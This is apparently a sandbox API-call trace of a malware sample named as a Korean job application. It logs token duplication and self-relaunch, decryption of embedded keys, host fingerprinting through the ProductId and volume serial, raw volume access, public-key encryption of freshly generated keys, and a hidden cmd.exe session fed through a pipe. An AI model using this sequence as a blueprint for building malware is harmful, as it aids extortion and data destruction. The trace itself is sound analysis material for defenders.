wsprintfW (in: param_1=0x18e6b0, param_2="\"%s\" n%u" | out: param_1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636") returned 80 [0050.633] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xb8 [0050.633] OpenProcessToken (in: ProcessHandle=0xb8, DesiredAccess=0x2000000, TokenHandle=0x18e640 | out: TokenHandle=0x18e640*=0xc0) returned 1 [0050.633] DuplicateTokenEx (in: hExistingToken=0xc0, dwDesiredAccess=0x2000000, lpTokenAttributes=0x18e64c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x18e63c | out: phNewToken=0x18e63c*=0xc4) returned 1 [0050.634] CreatePipe (in: hReadPipe=0x18e648, hWritePipe=0x18e644, lpPipeAttributes=0x18e64c, nSize=0x0 | out: hReadPipe=0x18e648*=0xcc, hWritePipe=0x18e644*=0xd0) returned 1 [0050.662] CreateProcessWithTokenW (in: hToken=0xc4, dwLogonFlags=0x0, lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e66c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0xd0, hStdError=0xd0), lpProcessInformation=0x18e65c | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636", lpProcessInformation=0x18e65c*(hProcess=0x11c, hThread=0x120, dwProcessId=0xaec, dwThreadId=0xae0)) returned 1 [0050.874] CloseHandle (hObject=0x120) returned 1 [0050.874] CloseHandle (hObject=0xc4) returned 1 [0050.874] CloseHandle (hObject=0xc0) returned 1 [0050.874] CloseHandle (hObject=0xb8) returned 1 [0050.875] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0050.875] SetErrorMode (uMode=0x1) returned 0x0 [0050.875] GetLogicalDrives () returned 0x4 [0050.875] GetProcessHeap () returned 0x48a0000 [0050.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbf10 [0050.875] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18e9b8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c07d8) returned 1 [0050.875] CryptDecrypt (in: hKey=0x48c07d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbf10, pdwDataLen=0x18ea28 | out: pbData=0x48bbf10, pdwDataLen=0x18ea28) returned 1 [0050.875] CryptDestroyKey (hKey=0x48c07d8) returned 1 [0050.875] GetProcessHeap () returned 0x48a0000 [0050.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0050.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18e9b8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c07d8) returned 1 [0050.876] CryptDecrypt (in: hKey=0x48c07d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18ea28 | out: pbData=0x48bfd70, pdwDataLen=0x18ea28) returned 1 [0050.876] CryptDestroyKey (hKey=0x48c07d8) returned 1 [0050.876] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ea24 | out: phkResult=0x18ea24*=0xb8) returned 0x0 [0050.876] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ea30, lpcbData=0x18ea2c*=0x400 | out: lpType=0x0, lpData=0x18ea30*=0x30, lpcbData=0x18ea2c*=0x18) returned 0x0 [0050.877] RegCloseKey (hKey=0xb8) returned 0x0 [0050.877] GetProcessHeap () returned 0x48a0000 [0050.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbf10 | out: hHeap=0x48a0000) returned 1 [0050.877] GetProcessHeap () returned 0x48a0000 [0050.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0050.877] GetProcessHeap () returned 0x48a0000 [0050.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0050.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18e798, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c07d8) returned 1 [0050.877] CryptDecrypt (in: hKey=0x48c07d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18e7fc | out: pbData=0x48bfd70, pdwDataLen=0x18e7fc) returned 1 [0050.877] CryptDestroyKey (hKey=0x48c07d8) returned 1 [0050.877] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18e800, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0050.878] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18e7f8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18e7f8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.878] GetProcessHeap () returned 0x48a0000 [0050.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0050.878] wsprintfA (in: param_1=0x18ea47, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0050.878] wsprintfW (in: param_1=0x18ee58, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0050.879] wsprintfW (in: param_1=0x18ee68, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0050.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.879] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ee48, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ee48*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.879] GetProcessHeap () returned 0x48a0000 [0050.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x34) returned 0x48c07d8 [0050.879] wsprintfW (in: param_1=0x48c07d8, param_2="%c:" | out: param_1="C:") returned 2 [0050.879] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0050.880] DeviceIoControl (in: hDevice=0xb8, dwIoControlCode=0x560000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x18ee78, nOutBufferSize=0x20, lpBytesReturned=0x18ee4c, lpOverlapped=0x0 | out: lpOutBuffer=0x18ee78*, lpBytesReturned=0x18ee4c*=0x20, lpOverlapped=0x0) returned 1 [0050.882] CloseHandle (hObject=0xb8) returned 1 [0050.882] GetProcessHeap () returned 0x48a0000 [0050.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x8) returned 0x48be6d0 [0050.882] GetProcessHeap () returned 0x48a0000 [0050.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x2c) returned 0x48c3690 [0050.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x20, pbBuffer=0x48c369c | out: pbBuffer=0x48c369c) returned 1 [0050.882] GetProcessHeap () returned 0x48a0000 [0050.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x2c) returned 0x48c3818 [0050.883] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x20, pbBuffer=0x48c3824 | out: pbBuffer=0x48c3824) returned 1 [0050.883] GetProcessHeap () returned 0x48a0000 [0050.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0050.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee38, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c3630) returned 1 [0050.883] CryptDecrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18eea0 | out: pbData=0x48bfd70, pdwDataLen=0x18eea0) returned 1 [0050.883] CryptDestroyKey (hKey=0x48c3630) returned 1 [0050.883] GetProcessHeap () returned 0x48a0000 [0050.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x80) returned 0x48c3e78 [0050.883] GetProcessHeap () returned 0x48a0000 [0050.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x80) returned 0x48c0640 [0050.884] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48bd450, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18ee80 | out: phKey=0x18ee80*=0x48c06c8) returned 1 [0050.884] CryptEncrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3e78*, pdwDataLen=0x18ee84*=0x75, dwBufLen=0x80 | out: pbData=0x48c3e78*, pdwDataLen=0x18ee84*=0x80) returned 1 [0050.885] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0050.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48bd450, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18ee80 | out: phKey=0x18ee80*=0x48c06c8) returned 1 [0050.885] CryptEncrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c0640*, pdwDataLen=0x18ee84*=0x75, dwBufLen=0x80 | out: pbData=0x48c0640*, pdwDataLen=0x18ee84*=0x80) returned 1 [0050.886] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0050.886] GetProcessHeap () returned 0x48a0000 [0050.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0050.886] GetProcessHeap () returned 0x48a0000 [0050.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xa0) returned 0x48c0850 [0050.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee28, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0050.886] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c0850, pdwDataLen=0x18ee94 | out: pbData=0x48c0850, pdwDataLen=0x18ee94) returned 1 [0050.886] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0050.886] GetProcessHeap () returned 0x48a0000 [0050.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1c) returned 0x48bfd70 [0050.886] GetProcessHeap () returned 0x48a0000 [0050.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xa) returned 0x48bdff0 [0050.886] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xe) returned 0x48bdfd8 [0050.887] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x19) returned 0x48bff00 [0050.887] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xe) returned 0x48bded0 [0050.887] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xd) returned 0x48bdf90 [0050.887] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1a) returned 0x48bfde8 [0050.887] GetProcessHeap () returned 0x48a0000 [0050.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1b) returned 0x48bfdc0 [0050.887] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0050.888] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0050.888] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0050.888] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0050.888] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0050.888] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0050.888] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0050.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0050.888] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0050.889] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c0850 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdff0 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdfd8 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bff00 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bded0 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0050.889] GetProcessHeap () returned 0x48a0000 [0050.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfde8 | out: hHeap=0x48a0000) returned 1 [0050.890] GetProcessHeap () returned 0x48a0000 [0050.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfdc0 | out: hHeap=0x48a0000) returned 1 [0050.890] GetProcessHeap () returned 0x48a0000 [0050.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0050.890] GetProcessHeap () returned 0x48a0000 [0050.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1000) returned 0x48c4f28 [0050.890] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x48c4f28, ObjectInformationLength=0x1000, ReturnLength=0x18ee74 | out: ObjectInformation=0x48c4f28, ReturnLength=0x18ee74) returned 0xc0000004 [0050.890] GetProcessHeap () returned 0x48a0000 [0050.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c4f28 | out: hHeap=0x48a0000) returned 1 [0050.890] GetProcessHeap () returned 0x48a0000 [0050.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x2000) returned 0x48c4f28 [0050.891] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x48c4f28, ObjectInformationLength=0x2000, ReturnLength=0x18ee74 | out: ObjectInformation=0x48c4f28, ReturnLength=0x18ee74) returned 0x0 [0050.891] RtlGetVersion (in: lpVersionInformation=0x18ed60 | out: lpVersionInformation=0x18ed60*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0050.891] GetProcessHeap () returned 0x48a0000 [0050.891] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c4f28 | out: hHeap=0x48a0000) returned 1 [0050.892] GetCurrentProcess () returned 0xffffffff [0050.892] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18ee98 | out: TokenHandle=0x18ee98*=0xb8) returned 1 [0050.892] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x18, TokenInformation=0x18ee9c, TokenInformationLength=0x4, ReturnLength=0x18eea0 | out: TokenInformation=0x18ee9c, ReturnLength=0x18eea0) returned 1 [0050.892] CloseHandle (hObject=0xb8) returned 1 [0050.892] Wow64DisableWow64FsRedirection (in: OldValue=0x18ee98 | out: OldValue=0x18ee98*=0x0) returned 1 [0050.892] GetProcessHeap () returned 0x48a0000 [0050.892] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0xe0) returned 0x48c0850 [0050.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee38, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0050.892] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c0850, pdwDataLen=0x18ee9c | out: pbData=0x48c0850, pdwDataLen=0x18ee9c) returned 1 [0050.893] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0050.893] GetProcessHeap () returned 0x48a0000 [0050.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0050.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18eb98, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0050.893] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18ec34 | out: pbData=0x48bfd70, pdwDataLen=0x18ec34) returned 1 [0050.893] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0050.893] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0x18ec80, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0050.893] GetVersion () returned 0x1db10106 [0050.893] CreatePipe (in: hReadPipe=0x18ec00, hWritePipe=0x18ebfc, lpPipeAttributes=0x18ec28, nSize=0x0 | out: hReadPipe=0x18ec00*=0xb8, hWritePipe=0x18ebfc*=0xc0) returned 1 [0050.894] SetHandleInformation (hObject=0xc0, dwMask=0x1, dwFlags=0x0) returned 1 [0050.894] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ec38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ec14 | out: lpCommandLine=0x0, lpProcessInformation=0x18ec14*(hProcess=0x120, hThread=0xc4, dwProcessId=0xa48, dwThreadId=0xa20)) returned 1 [0050.980] WriteFile (in: hFile=0xc0, lpBuffer=0x48c0850*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x18ec24, lpOverlapped=0x0 | out: lpBuffer=0x48c0850*, lpNumberOfBytesWritten=0x18ec24*=0xc3, lpOverlapped=0x0) returned 1 [0050.980] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0x493e0) returned 0x0 [0054.349] GetExitCodeProcess (in: hProcess=0x120, lpExitCode=0x18ec0c | out: lpExitCode=0x18ec0c*=0x1) returned 1 [0054.351] CloseHandle (hObject=0xc4) returned 1 [0054.351] CloseHandle (hObject=0x120) returned 1 [0054.351] CloseHandle (hObject=0xb8) returned 1 [0054.351] CloseHandle (hObject=0xc0) returned 1 [0054.351] GetProcessHeap () returned 0x48a0000 [0054.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0054.352] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0054.352] GetProcessHeap () returned 0x48a0000 [0054.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c0850 | out: hHeap=0x48a0000) returned 1 [0054.353] GetProcessHeap () returned 0x48a0000 [0054.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0054.353] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0054.354] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18ee80 | out: pbData=0x48bfd70, pdwDataLen=0x18ee80) returned 1 [0054.355] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0054.355] GetProcessHeap () returned 0x48a0000 [0054.355] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfdc0 [0054.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0054.356] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfdc0, pdwDataLen=0x18ee80 | out: pbData=0x48bfdc0, pdwDataLen=0x18ee80) returned 1 [0054.356] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0054.356] GetProcessHeap () returned 0x48a0000 [0054.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfde8 [0054.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0054.356] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfde8, pdwDataLen=0x18ee80 | out: pbData=0x48bfde8, pdwDataLen=0x18ee80) returned 1 [0054.356] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0054.356] GetProcessHeap () returned 0x48a0000 [0054.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbf10 [0054.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c06c8) returned 1 [0054.356] CryptDecrypt (in: hKey=0x48c06c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbf10, pdwDataLen=0x18ee80 | out: pbData=0x48bbf10, pdwDataLen=0x18ee80) returned 1 [0054.357] CryptDestroyKey (hKey=0x48c06c8) returned 1 [0054.357] GetProcessHeap () returned 0x48a0000 [0054.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x838) returned 0x48c4f28 [0054.357] GetProcessHeap () returned 0x48a0000 [0054.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6370020 [0054.358] GetProcessHeap () returned 0x48a0000 [0054.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x858) returned 0x48c5768 [0054.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402360, lpParameter=0x48c4f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0 [0054.361] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0 [0057.631] CloseHandle (hObject=0xc0) returned 1 [0057.631] GetProcessHeap () returned 0x48a0000 [0057.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x6370020 | out: hHeap=0x48a0000) returned 1 [0057.633] GetProcessHeap () returned 0x48a0000 [0057.633] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c4f28 | out: hHeap=0x48a0000) returned 1 [0057.633] GetProcessHeap () returned 0x48a0000 [0057.633] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbf10 | out: hHeap=0x48a0000) returned 1 [0057.633] GetProcessHeap () returned 0x48a0000 [0057.633] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfde8 | out: hHeap=0x48a0000) returned 1 [0057.633] GetProcessHeap () returned 0x48a0000 [0057.633] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfdc0 | out: hHeap=0x48a0000) returned 1 [0057.634] GetProcessHeap () returned 0x48a0000 [0057.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bfd70 | out: hHeap=0x48a0000) returned 1 [0057.634] GetProcessHeap () returned 0x48a0000 [0057.634] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfd70 [0057.634] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee10, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c6fe8) returned 1 [0057.634] CryptDecrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfd70, pdwDataLen=0x18ee84 | out: pbData=0x48bfd70, pdwDataLen=0x18ee84) returned 1 [0057.634] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.634] GetProcessHeap () returned 0x48a0000 [0057.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfdc0 [0057.635] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee10, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c6fe8) returned 1 [0057.635] CryptDecrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfdc0, pdwDataLen=0x18ee84 | out: pbData=0x48bfdc0, pdwDataLen=0x18ee84) returned 1 [0057.635] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.635] GetProcessHeap () returned 0x48a0000 [0057.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x20) returned 0x48bfde8 [0057.635] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee10, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c6fe8) returned 1 [0057.635] CryptDecrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bfde8, pdwDataLen=0x18ee84 | out: pbData=0x48bfde8, pdwDataLen=0x18ee84) returned 1 [0057.635] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.635] GetProcessHeap () returned 0x48a0000 [0057.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbf10 [0057.636] CryptImportKey (in: hProv=0x48bcc28, pbData=0x18ee10, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x48bb25c | out: phKey=0x48bb25c*=0x48c6fe8) returned 1 [0057.636] CryptDecrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbf10, pdwDataLen=0x18ee84 | out: pbData=0x48bbf10, pdwDataLen=0x18ee84) returned 1 [0057.636] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.636] GetProcessHeap () returned 0x48a0000 [0057.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be700 [0057.636] GetProcessHeap () returned 0x48a0000 [0057.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x4) returned 0x48be720 [0057.636] GetProcessHeap () returned 0x48a0000 [0057.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x838) returned 0x48c4f28 [0057.636] 